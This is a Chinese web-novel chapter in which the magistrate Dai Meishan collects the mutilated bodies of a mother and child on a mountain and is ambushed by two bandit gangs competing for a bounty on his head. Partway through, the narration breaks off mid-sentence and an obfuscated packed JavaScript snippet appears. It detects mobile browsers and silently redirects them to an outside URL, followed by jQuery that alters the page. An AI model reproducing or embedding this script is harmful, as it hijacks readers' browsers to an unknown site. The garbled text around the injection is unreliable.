默认冷灰
24号文字
方正启体

42. 苍山雪(六)

作者:司买明本书字数:K更新时间:
    确定人意识还算清醒,戴眉山坐到榻前,开口便问:“你可知严枫为何要杀你?”


    闻言,孙大夫冲过来大声呵斥:“被人捅了还要知道为什么,算他倒霉好不好!”又瞥了擅罪者一眼,“他肺被捅穿了,说不了话。”


    戴眉山面露歉意,比划一阵:“我问,你说不了就眨眼代替,好吗?”


    擅罪者闭上眼睛,又缓慢睁开,代表他同意了。


    戴眉山问:“严枫杀你,是因为你昨晚说的话?”


    擅罪者闭眼,睁眼。


    “你眼睛未盲,原本就看得见东西?”


    擅罪者重复刚才的动作。


    “所以,你真的能看见别人的生死,对吗?”


    擅罪者犹豫了一下,还是阖上了眼睛。


    早上与擅罪者的对话犹然在耳,如今回想起来却是另一番心境。


    戴眉山继续道:“你蒙上眼睛,是因为你一旦睁开眼睛就会看见别人的死讯。昨晚你在酒馆前看到霍叔,知道他靠近河边就会有危险,于是出言提醒?”


    擅罪者将闭眼睁眼的动作重复两次。


    戴眉山叹口气:“你遭此厄运却是出于善心提醒,我替霍叔多谢你。”


    说罢,站起身,朝擅罪者长揖作礼。


    “严枫妻儿尸身还没收埋,我现在就去山上走一趟,如果事情确实无疑——”戴眉山认真地说,“我答应你的不会改变,耆老会也会如期举行。”


    孙大夫见他要走,直摇头:“耆老会就算开得起,他也去不得,人多,万一挤着了,中途出什么岔子,可就危险了。”


    戴眉山道:“尽人事而已。”


    孙大夫笑了:“你怎不说出下一句?”


    “人事未尽,怎望苍天。”


    孙大夫拍了他一下:“说得不错。”又凑到擅罪者面前,好奇道,“你真能提前判知生死,不如替我看看。”


    擅罪者嘴巴微微张起,孙大夫连忙捂住他的嘴。“你还是别说了,说了,不是你死,就是我死,怪不吉利。”


    “这人啊,着急知道自己死期有什么意思?”他摇着脑袋,好像说给擅罪者,又好像在自言自语,“提心吊胆苟活,还不如现在一头撞死。”


    须臾,忽然一笑:“你看见别人,能看得见自己吗?”


    你知道今天自己会挨上这几刀吗?


    擅罪者阖上眼,再不说话。


    *


    戴眉山吩咐家丁严守房门,自己带了五名护卫,策马离开。


    是夜,会稽城外星坠如雨,狂风大作,急驰的马匹在空旷街上荡起回响。


    虽未设宵禁,街上却连个人影都没有,白日热闹非凡的会稽城,入夜后只余萧条一片。


    戴眉山趁夜疾行,驾着马,约半个时辰就走到了山脚,一个认路的侍卫在前面带路。


    入山后只有个隘口可以供马通行,隘口连接着一条通往山顶的分岔小路。入秋后,夜里露气很重,火把一照,便可见到附在野草上的白霜。


    路两边时不时见到稀星的树,树叶衰败,平白落下许多。然而,路边却扎满了半人高的野草,影影绰绰,随风荡漾,一行人经过时,正立于夜风中簌簌作响。


    约走了不到两刻,前面带路的侍卫下马禀报:“府君,到了。”


    戴眉山下了马,走近一瞧,果然见到间屋子。屋门冲来人大大敞开,略显诡异。


    戴眉山携着火把率先进入,火光落处,隐约照见个女子躯体。那身体扭曲得不成样子,一颗头胡乱歪在炉子边上,可怕又可怜。


    后面侍卫正要进屋,忽然来阵阴风,呼呼刮灭了两个火把。


    侍卫们被吓得一阵鬼哭狼嚎。


    戴眉山生平第一次见到人惨死面前,虽然早已做了心理准备,虽然只见到个扭曲的背影孤零零睡在地下,亦不免心怵,对死人的恐惧一时压过了悲悯之心。


    然而,戴府护卫比他还胆小,被阴风一吓唬,居然抱成一团,不敢进屋。


    戴眉山只好壮了壮胆,强忍惧意,将火把凑近地上女子。


    火光一照,女子一双圆眼大大睁着,脸上布满啃咬痕迹,身体更是惨不忍睹。衣服自手臂处被活活撕开,尖牙刮过,大臂被带下好大一块肉。若再往上看,便会发现肩膀处皮肉掀飞,已露出森森白骨!


    然而,即使被这样折磨,女子始终未曾松手,因为还有个小小的身体缩在她怀中。


    不过,那已经不能称之为人,孩子只剩一个躯体,脑袋不知道去了什么地方。


    严枫开门看到的便是这幅场景,不疯都是万幸。


    戴眉山捂着眼睛又多看了两眼,确定孩子身上穿的衣服是狼皮所制。然后,快步走出屋子,冲到门槛时,猛地一弯腰,哇地一下吐在屋角。


    侍卫纷纷上前关心。


    戴眉山摆了摆手:“无事。”


    他靠着墙缓了一会儿,听见侍卫聚在一旁低声议论。严枫妻儿遭遇虽还没在会稽城中传开,但戴府上下知道的人却是不少。其余不知道真相的,以讹传讹,也不知道会说出些什么。


    戴眉山当即正了色,厉声道:“此事不准到处乱说,如果让我知道……”他顿了顿,说,“不要怪我扣你们银子。”


    难得见到戴眉山这样发火,众人心虚地对视一眼,当即散开。


    须臾,一人道:“府君,尸体是找地方埋了还是……”


    离开城门之时,会稽城中大大小小门户已闭,路上一来一回,必然要耽搁些时候。等回到城中,只怕天也亮了。青天白日,带着两具残尸招摇过市,只怕会引起不好传言。但若把尸体抛在这里,保不齐什么时候就会被野兽叼走。


    戴眉山摇摇头,道:“把人带回去,明日天亮找铺子安置遗体。”


    众人你看我,我看你,犯了难。


    他们毕竟只是普通护院家丁,杀鸡宰牛,拖走个别醉鬼自然手到擒来,拖带尸体这种事情却从没做过。何况屋里母子死相又这样凄惨,他们连看也不敢多看一眼,若让他们一路带回城里,万一沾上什么不好的东西,晚上睡觉,眼睛一闭,只怕要做噩梦。


    于是,戴眉山说完话,居然没一人动作。


    将呕吐之感压下,戴眉山进了内屋,扯出块床单。他把床单铺到地上,对尸体拜了三拜,才俯身下蹲,将女子并她怀中婴儿抱到床单上。


    众人对视一阵,也不知谁领头,竟然有样学样,对死者尸身拜了三拜,并且走进内屋,捧了床棉被出来。


    “府君,用这个再裹一层,放在马上时,也好避免磕碰。”


    戴眉山点点头,床单一裹,将女子身体遮住。等他要将人抱到棉被上时,床单忽然一滑,刚好露出女子僵硬的膝盖。


    狼来时只啃咬了上身,腿部以下却是完好。火光一照,可以看见她膝盖处裹了一层厚厚的皮毛,所用质料与孩子身上衣物一样,皆是狼皮。


    戴眉山愣了一下,不明白这意味着什么。


    倒是一个稍微年长的侍卫颇有经验,低声道:“看着孩子身形,估计刚落地没几个月。妇人生了孩子,容易留下些病根儿,穿上护膝应该怕她膝盖受凉,老了遭罪。”


    众人听了,心里更不是滋味。


    马上驮了人,行进速度自然比来时慢上许多。山间路窄,只容许一人一骑单独通过,一行六个人,戴眉山便在第四个。


    冷月高悬,夜色不算晦暗,众人举着火把,周身半丈之地清晰可见。走了一阵,苦于行路寂寞,耐不住寂寞,便有一人先起了话头。


    一个侍卫道:“发现没,今天城里来了好多人。”


    旁边一人随即接话:“没多久就是耆老会,不用问,肯定是奔着耆老会来的。不过来归来,没有拜帖,也就是在外面看个热闹。”


    看了看戴眉山,又问:“府君,为什么非得把年龄卡在八十,条件宽一宽,来的人更多,不是更热闹?”


    众人早有此疑问,现在听他提出,纷纷应和,七嘴八舌道:“对呀,府君,这是为什么?难道有什么讲究?”


    戴眉山连连摇头:“你们可知,耆老会原先还有个名字?”


    一人脱口而出:“悼老会。”


    戴眉山却摇摇头:“这也是后来的名字,其实一开始是叫告老会。”


    乍一听一头雾水,但只要略一思索,也就明白了。告老告老,倒过来就是老告,耆老会不就是几个老头老太太聚在一起,搜肠刮肚聊八卦嘛!


    不过,聊八卦不稀奇,稀奇的是说话的人,一堆八九十的活寿星聚在一起那就不是聊八卦、摆龙门,那叫交流人生感悟,顺带给小辈传授传授人生经验!


    甭管沾福气、凑热闹,抑或是真心求教,总有一批人乐此不疲地跑来会稽城,总之,口口相传,时至今日,耆老会已然名声在外。


    众人皆想:“把年龄一放松,耆老会也不稀奇,若不稀奇,自然没人来凑热闹。”


    戴眉山似乎看穿了他们想法,却没再说什么。


    此时,只见北面天穹闪过一点星光,横跨整个天际,轻飘飘地划到南边地带。


    “快看!”


    一人出声惊呼,指着那星子出现的地方。


    众人齐目望去,只见山背后的天空陆续升起拇指大的流星,拖着长尾巴,在行进中压成条细线,如急落的水花,眨眼间尽数没入山的另一头。


    众人瞪大了眼睛,反应过来:“有流星,快许愿!”


    “许什么愿!”


    一人吼道:“那是扫把星!”


    “扫把星又如何?”


    “扫把星百年难见一次,遇到了是要倒大霉的。”


    众人一惊:“难怪会稽城中发生此等怪事,一下子就死了三人。”说这话时,他们忽地想起戴眉山呵令,心虚地望了他一眼。


    见戴眉山没有出口责骂的意思,又想府君素日温和,从不与他们难堪,才放下心来。


    忽然,一人一惊一乍地说:“不好,我们看到了扫把星不是也要倒霉?”


    会稽城无宵禁,根本在于城中无修行世家,无法调动护城力量。不过,恰恰就是这个,城中人也渐渐养成天黑后不出门的习惯。现在他们破例出城,又目睹灾星降世,岂不是意味着不久就有灾难加身。


    “府君,我们快些回城吧,”一人看向戴眉山,央求道。


    其他人也陆续附和着。他们出来为人收尸,可不想哪日自己也横尸山野,等人收尸。


    一报还一报,不兴这样报的。


    戴眉山略通星象之术,却从不信这些东西。很多人爱发誓,谈情说爱时,动辄山盟海誓。但劈死人的从来不是誓言,而是恶行,一个人遭报应不是因为预言、誓言、诅咒这种虚无缥缈的东西,而是恶行总有揭露之日。


    戴眉山稍作安抚,又吩咐他们照看好尸体,便加快行速。


    秋风凛冽,钻入山窍后便化为细窄刀片。众人动作一加快,那双握刀的无形之手也不经意加快动作。立时只觉山风扑面而来,细细刮擦双颊,磨得脸上皮肉一阵一阵发疼。


    人群中,火把渐渐晦暗。


    最前面一人忽叫了一声,众人纷纷歪开脑袋,想看个究竟。


    那一声本在呵止马匹,然而,马不知发了什么疯,竟然不听招呼。不听招呼也就算了,偏偏还倔强地回身要走。这一转身就麻烦了,前方山道狭小,后方又有人马阻隔,这马勉强转了半边身子,再想动弹,却是进退两难。


    于是,本不宽敞的山道就这样被堵死。


    马上侍卫被这架势吓到了,胡乱抽了下鞭子,见马不死活不动,急道:“府君,过不去了。”


    话音刚落,又旋起阵狂风,火把应声尽灭。暗云掩月,四方山野之余漆黑一片,众人顿时慌乱起来。


    戴眉山道:“快点火照亮!”


    众人纷纷去摸怀里的打火石。


    他又道:“稳住马匹,别撞到山壁。”


    众人听到命令,勒住缰绳,控制住马头,将队伍勉强维持。然而,打火石摩擦时,虽蹦出耀眼火星,但风未停歇,很难把火把擦燃。


    马不会无故违抗命令,事出反常必有妖。


    戴眉山抬头望了望月亮,天上暗云似乎也被这阵狂风吹飞吹散。月光下落,可见山道两旁半人高的野草依稀可见,皆被吹得东歪西倒。


    草丛中远远掷出个火星,火星落地忽低扑灭,电光火石间,只见有个人伏身蹲在草丛中。


    戴眉山心上一惊,暗暗偏头看去,右边山道上黑压压一片,竟全是伏兵!


    此时,众人均已经安定了马匹,戴眉山当即大叫一声:“丢了火把,快冲!”


    众人正忙着摩擦打火石,一时不明白他这句话是什么意思。又听戴眉山连连催促,才抛下火把,扬鞭策马,在道上放手猛冲。


    山道上顿时响起阵清脆马蹄响。


    忽然,右边山道上冲出百十个壮汉,众人大惊失色,手上马鞭越抽越快。


    奔逃中,戴眉山朝左右匆匆一扫,那些人果然没骑马。心想:“这山道虽窄,却是一条直道,下了山,便可从大道直奔城内。他们只凭两条腿,一时也追不上。”


    边逃边大声道:“路边有人埋伏。”


    见人没追上来,众人稍微松了口气:“是打劫的流匪?”


    戴眉山道:“不知道,我们快马入城,他们不敢追!”


    众人心上七上八下,却不再多问,追赶的虽不足百人,至少也有七八十人,急踏的脚步忽远忽近,煞是骇人。幸好骑着马一阵狂奔,跑到出山口时,已经完全听不见响动了。


    众人长吁一口气,终于缓过神来。然而,此时为首马匹忽地往后一缩,马背上侍卫瞬间被甩了出去。


    前面一出事,人马就过不去,再想到还有追兵正往这里飞快赶来,众人顿时慌起来,纷纷大喊“府君”。


    戴眉山难得出一次会稽城,就接二连三遇上倒霉事儿,胆子反倒越吓越大。他先勉强稳住马匹,往地下一阵搜索,定睛一看,果然发现马蹄下有条手腕粗的绊索。


    “杀戴眉山!”这时,入山口又冲出一队人,人数极多,吼起来声音震天,十分吓人。


    这些人显然早已经埋伏在出山口,就等戴府一行人自投罗网,见绊马索起了作用,纷纷涌上山道,包饺子似的把戴府人马前后包抄。


    一看人数,戴眉山就知道惨了,掉进狼窝了。


    三不管地带流匪猖獗,不过既然是流匪,匪帮之中人数通常不会多到哪里。一般来说,少则七八人,多则四五十人。


    然而,现在堵截他们的加起来怕是有百余人!


    六人和百人,人数悬殊至极,要杀戴眉山,无异于瓮中捉鳖。不过,这些人仅仅把人围住,你看我,我看你,却没一人动手。


    原因很简单。


    第一,两条腿的怕四条腿的,百十号人扎堆挤在又小又窄的山道上,一旦动手,保不齐被踢到踩到,一个不小心落得半身不遂,不值当。第二,戴府来人随身都带着武器,他们自认没有能力空手接白刃。第三,他们根本不知道戴眉山是谁。


    绿豆王八相互看了一阵,一个汉子——显然是领头的,举起钢刀,冲在最前面,高声道:“长得最俊的是戴眉山!”


    果然,两百多只眼睛齐齐扫来,略过其他人,直接钉在戴眉山脸上。


    戴眉山见他们不认识自己,心想与他们必无深仇大恨,推测这些人多半是些杀人买命的土匪。


    于是道:“诸位放我一马,要多少银钱,戴眉山如数奉上。”


    土匪头子道:“我杀你,赏金自然拿到手,我若放你,还要去你府上走一遭,弯弯绕绕,太麻烦。”


    戴眉山见他不肯,又听他口中说着“赏金”,当即承诺:“无论对方开出多少,戴眉山都双倍奉上!”


    土匪头子还没应声,其他人听到高额回报,却按耐不住了,当即透了底:“大哥,两千两银子呢!”


    戴眉山见他手下人有所动摇,再添一把火:“诸位若不信,我可立字契为证,明日取银,绝不拖欠。”


    土匪眼里直冒光,两千两,随便分走十两也够过两年舒坦日子了。


    土匪头子却道:“戴府府君,两千两便宜了。”他比了个“一”,大声喊道,“一万两!”


    众人倒吸一口凉气,一万两,都说戴家是方圆千里最富,但一万两可不是小数目。


    没想到戴眉山一口答应:“好,你们还得放过我手下人。”


    土匪头子钉了他一眼,心想,这小子真他妈好命。催促道:“别废话,取纸笔来。”


    “老大,我们身上没带这种玩意。”


    土匪头子环视一周,众人一阵摇头晃脑,脸色十分不好看,指头随便戳戳:“你,跟我们走,取了赎金,我再放你。”


    戴眉山只好下马与他商量:“你让他们先回去,明晚折了银子送到山上。”


    “土匪头子走得他旁边,瞅准他心口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796375|190652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    猛踹一脚,戴眉山立即疼得缩成一团,咬牙道:“会稽城是个孤城,一天时间,他们搬不来救兵。”


    被他道破心思,土匪头子只好喊人绑他上马,又张牙舞爪道:“去一个就行了,人多容易通气。”


    正琢磨着让谁去送信,忽见马上绑了床棉被。他不明就里,伸手拨开,见是个女子,哈哈大笑:“戴府君半夜三更也在山上做些男盗女娼的事情。”


    土匪们闻声大笑。


    一片调笑声中,忽然出现一声短促惊叫。土匪头子不知怎的滚到了地上,正一脸惊恐看着自己的双掌。那掌上湿湿黏黏,光线无比昏暗,只能勉强瞧见红煞煞一片。


    众人才止住轻佻笑声。


    土匪头子哆嗦着站起来,手指一阵抖动,指着戴眉山:“这女人死了?!你干……”


    “我们府君行得正坐得直。”侍卫一脸正气,吼道,“来这山上,是替人收尸的。”


    不说便罢,越说这群土匪心里越害怕。他们平日坏事做得不少,今日天现异象,一路犯嘀咕,经此一吓,顿时浑身抖如筛糠。


    不巧,山道深处又传来急踏脚步声,众人听罢,惊惧交加下,竟急急后退,隐隐有落跑之势。


    倒是土匪头子脑子清楚,呵道:“跑什么跑,是一路的。”


    果然,在山路转折处,疾步跑来几十人来,正是刚才埋伏在路边的。


    为首之人皮肤黝黑,个子精瘦,左耳被削去半截。冲到土匪头子跟前,冷笑道:“刘老三,这人可是我先抓到的。”


    看来是两伙不同帮匪。


    刘老三鼻孔朝天,根本不把他放在眼里:“先看到又如何,人现在可在我手上!”


    那人吼道:“买主要的是人头,他没死,做不得数。刘老三,你脑袋被金刀卫踢坏了,连这种事也要我说?!”


    刘老三听他揭自己短,顿时火冒三丈,骂道:“黑皮头,你有种就过来,没屌就自己憋着,别瞎出来显摆。”


    黑皮头反唇相讥:“你也有脸说?被金刀卫打得哭爹喊娘,像只耗子四处乱钻,你尽管叫,把人叫来,一起玩完!”


    无忌公室执掌十里槛以来,一反历代公室据守旧地作风,竟然把手伸到公室势力之外,首当其冲的自然就是四处滋事扰民的流匪。


    今天两伙人原是橫据在三摩地附近的大匪团,仗着人多势众,平时横得不行。


    但他们再横,也横不过金刀卫手上那把金刀,饱饱吃了几顿好果子,只得被迫离开原先领地。


    然而其他地方也有盘踞的大匪帮,碰了几次钉子,他们自认强龙压不过地头蛇,辗转来到会稽城。


    会稽城居民比耗子还贼,天黑后,关门闭户,死活就是不出门。他们只是些杂匪,武功都没认真学过,更不敢进城强抢。来了好几个月,只敢在城门外守株待兔,偶尔抓到个落单的,也榨不出几滴油水。


    眼见就要弹尽粮绝,忽然有个人找上门,并说要和他们做一场交易。


    交易的内容很简单:以戴眉山项上人头换一千两银子。


    一得到戴眉山离城的消息,他们便在山上埋伏。


    谁知,买主竟又叫了另一个匪帮,现在两个匪帮迎面撞上,正因分赃问题掐骂不止。


    “也别说我不讲道义,现在我就让你一让。”黑皮头见争执不下,提议道,“拿了人头,赏金对分,怎样?”


    刘老三嘿嘿一笑:“我人多,你人少,真要打起来,我可不怕你。至于赏金,一个子儿都别想拿走。”


    黑皮头面色一沉,指着戴眉山:“你怕不是收了他更多好处?”见对方不反驳,当即怒骂,“你脑子被狗啃了,他们这种人的屁话你也敢信?”


    “你不杀他,拿了钱他跑去公室告状,你还有命!”


    戴眉山忙道:“公室远在千里之外,不会管我们这种闲事。”


    “闭嘴。”对戴眉山劈头盖脸一阵喝骂,“无忌公室手已经伸这么长,还会在意这些!”他指了指戴府一行人,“他们就这点人,几刀杀了,干干净净,谁又知道是你干的?犯得着惹一身骚?”


    刘老三似乎被他说动,提了刀,走上两步,似觉不对,停步道:“一千两赏金听着不少,但再加上你手底下的人,一人啃一口,几下就没了。”


    说着,刀子移向黑皮头。


    黑皮头面色一变:“你要独吞。”


    “我,吃得下。”又点点黑皮头,“你,不行。”


    说罢,身后匪帮整队慢慢逼上,黑皮头一边也不肯示弱,五六十人的队伍在他身后缓缓聚拢,双方一时剑拔弩张,眼见将有一场恶仗。


    戴眉山知道不能让他们打起来,急道:“二位请住手,且听我一言。”


    黑皮头刚想张嘴,刘老三却抢先一步:“有屁快放。”


    戴眉山顾不得粗言粗语,开口便道:“二位若是动手,必定拿不到这笔钱。”


    二人同时愣住。


    戴眉山道:“敢问二位口中的买主此刻是否在会稽城中?”


    刘老三见他说中,打了个住手的手势,黑皮头不知他葫芦里卖的什么药,但毕竟牵扯到自己利益,也把手下叫住。


    两人绿豆对王八,同时点点头。


    戴眉山道:“我只带几骑上山,无论哪边出手,人数如此悬殊,我必定无法逃脱,对吗?”


    黑皮头原本也看中山后作为伏击处,只是陈老三人多势众,一时抢不过,才提前到山道旁埋伏。当时他就觉得奇怪,若真要收拾戴眉山,又何必雇来两伙匪帮?多花银子不说,还容易节外生枝。


    刘老三也想,那人真该死,他都承诺必定取来戴眉山项上人头,为什么还喊来该死的黑皮头,难道不知道他们是死对头吗?


    见他们各自沉默不语,戴眉山又问:“敢问买主是否预先付过定钱?”


    二人又是一愣,他们是土匪,打家劫舍才是老本行,买凶杀人只是无奈之举。见对方开价大方,也没有多想,就痛痛快快答应了。


    戴眉山又问:“可立有字据?


    二人嘴角一抽,和土匪讲道理、立字据,这不是笑话?!


    戴眉山抓紧机会剖析利弊,滔滔不绝道:“既无定钱,又无字据,那人目的只在杀我。等天亮没见我回去,他便以寻查这女子为由遣人上山探问。”


    “到时候不管派去的人回不回得来,他必能探知我是否身亡。会稽城近日旅人渐多,人员来去复杂,待目的达成,他若混入人群逃走,你们也拿不到他。”


    众人闻言,瞬间恍然大悟。


    黑皮头脸一阴:“敢耍老子!我现在便摸入城中,把人拿住,看他往哪里跑!”


    陈老三赞同地点点头。


    戴眉山道:“拿到人你们要如何说?”


    “抓到他,光天化日之下,他一大声叫嚷,咬死你们是匪,你们必定走不脱。退一万步来说,即使你们互相证明身份,又能拿他怎样?”


    陈老三当即跳起来骂了句脏,吼道:“我便说是讨债如何?!”


    黑皮头白了他一眼:“字据呢!”指指戴眉山,“你说你杀了戴家府君,大功一件,亲自上门讨钱?”


    陈老三脸憋得通红,支支吾吾说不出一句话。


    戴眉山道:“那人使计通知二位同时前来,便是想让二位大打出手,两败俱伤,为他脱身铺路。所以,二位不能杀我。”


    黑皮头骂道:“老子被人摆了一道,心里不痛快,就是要杀你泄愤,你他妈又能如何?”


    说着,手腕一翻,提起钢刀,一刀砍向戴眉山。


    这一刀又快又急,即便杀不死人,也得落下残废。戴府众人大声尖叫,然而戴眉山已经下了马,他们就算想救人也根本来不及,只能眼睁睁看着那一刀横空劈下。


    孰料钢刀才逼近戴眉山肩头,不知何处飞来道怪力,哐当一声,钢刀落地。


    黑皮头捂被震得发麻的右臂,惊慌中,四处张望。


    顿了好几秒,土匪们终于反应过来了。不待下令,两方人员自觉收拢,刀子、棍子、石头,随便捡了一样就抓在手里,也不管对方是人是鬼,对着空气,就是一阵胡拍乱打。


    这时,道旁徐徐飘下两片枯叶。


    戴眉山呆了呆,不知为何,全副精神都落到两片叶子上。


    极黑的夜里,一道身影倏地穿过重重包围,冲戴眉山肩头猛地一拍,笑道:“看我,看叶子做什么?”


    周盈默叹,商音竹终于出来了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)